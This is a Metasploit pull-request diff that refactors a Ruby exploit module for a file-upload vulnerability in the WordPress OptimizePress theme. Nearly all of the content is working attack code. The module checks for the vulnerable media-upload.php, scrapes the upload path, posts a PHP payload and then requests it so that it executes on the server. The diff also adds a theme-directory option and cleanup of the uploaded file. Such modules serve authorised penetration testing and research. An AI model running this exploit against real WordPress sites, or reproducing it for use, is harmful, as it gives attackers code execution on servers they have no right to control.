Merge pull request #1 from jvazquez-r7/land_2711

Clean php_wordpress_optimizepress

Author: Mekanismen

modules/exploits/unix/webapp/php_wordpress_optimizepress.rb

@@ -1,73 +1,81 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'msf/core'
-require 'nokogiri'
+require 'uri'
 
 class Metasploit3 < Msf::Exploit::Remote
 
   include Msf::HTTP::Wordpress
   include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
 
   def initialize(info = {})
     super(update_info(info,
       'Name'            => 'WordPress OptimizePress Themes File Upload Vulnerability',
       'Description'     => %q{
-        This module exploits a PHP file upload vulnerability against the Wordpress theme
-        OptimizePress.
+        This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The
+        vulnerability is due to an insecure file upload on the media-upload.php component, allowing
+        an attacker to upload arbitrary PHP code. This module has been tested successfully on
+        OptimizePress 1.45.
       },
       'Author'          =>
-      [
-        'United of Muslim Cyber Army', # Vulnerability discovery
-        'Mekanismen', # Metasploit module
-      ],
+        [
+          'United of Muslim Cyber Army', # Vulnerability discovery
+          'Mekanismen' # Metasploit module
+        ],
       'License'         => MSF_LICENSE,
       'References'      =>
-      [
-        [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
-      ],
+        [
+          [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
+        ],
       'Privileged'      => false,
       'Platform'        => ['php'],
       'Arch'            => ARCH_PHP,
-      'Payload'         =>
-      {
-      'DisableNops'     => true,
-      },
       'Targets'         => [ ['OptimizePress', {}] ],
       'DefaultTarget'   => 0,
       'DisclosureDate'  => 'Nov 29 2013'
-      ))
+    ))
+
+    register_advanced_options(
+      [
+        OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
+      ])
   end
 
   def check
     uri = target_uri.path
     res = send_request_cgi({
-    'method'   => 'GET',
-    'uri'      => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
+      'method'   => 'GET',
+      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
     })
 
-    if not res or res.code != 200
-      return Exploit::CheckCode::Safe
-    elsif res and res.code == 200
-      return Exploit::CheckCode::Vulnerable
+    if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
+      return Exploit::CheckCode::Appears
     end
+
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
     uri = normalize_uri(target_uri.path)
-    peer = "#{rhost}:#{rport}"
 
     #get upload filepath
+    print_status("#{peer} - Getting the upload path...")
     res = send_request_cgi({
       'method'   => 'GET',
-      'uri'      => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
+      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
     })
 
-    if not res or res.code != 200
+    unless res and res.code == 200
       fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
     end
 
-    html = Nokogiri::HTML(res.body)
-    filepath = html.xpath("//*[@id='imgpath']").attr("value")
-
-    if filepath == "" or filepath == nil
+    if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
+      file_path = $1
+    else
       fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
     end
 
@@ -81,16 +89,16 @@ def exploit
     post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
     post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
     post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
-    post_data.add_part("#{filepath}", nil, nil, "form-data; name=\"imgpath\"")
+    post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
 
-    print_status("#{peer} - Sending PHP payload")
+    print_status("#{peer} - Uploading PHP payload...")
 
     n_data = post_data.to_s
     n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
     res = send_request_cgi({
       'method' => 'POST',
-      'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php'),
+      'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
       'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
       'data' => n_data,
       'headers' => {
@@ -99,46 +107,41 @@ def exploit
       'cookie' => cookie
     })
 
-    if not res or res.code != 200
+    unless res and res.code == 200
       fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
-    else
-       print_good("#{peer} - Payload uploaded successfully")
     end
 
+    print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
     #get path to payload
     res = send_request_cgi({
       'method'   => 'GET',
-      'uri'      => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
+      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
     })
 
-    if not res or res.code != 200
+    unless res and res.code == 200
       fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
     end
 
     payload_url = ""
 
-    html = Nokogiri::HTML(res.body)
-    elems = html.xpath("//*[@name='cs_img']")
-    for elem in elems
-      if elem.attr("value") =~ /#{filename}/
-        payload_url = elem.attr("value")
-      end
+    if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
+      payload_url =$1
+    else
+      fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
     end
 
-    if payload_url == ""
-      fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
+    begin
+      u = URI(payload_url)
+    rescue ::URI::InvalidURIError
+      fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
     end
 
-    print_good("#{peer} - Our payload is at: #{payload_url}! Executing payload...")
-    res = send_request_cgi({
+    register_files_for_cleanup(File::basename(u.path))
+
+    print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
+    send_request_cgi({
       'method' => 'GET',
-      'uri' => payload_url
+      'uri' => u.path
     })
-
-    if res and res.code != 200
-      print_error("#{peer} - Server returned #{res.code.to_s}")
-    else
-      print_good("#{peer} - Payload executed successfully")
-    end
   end
 end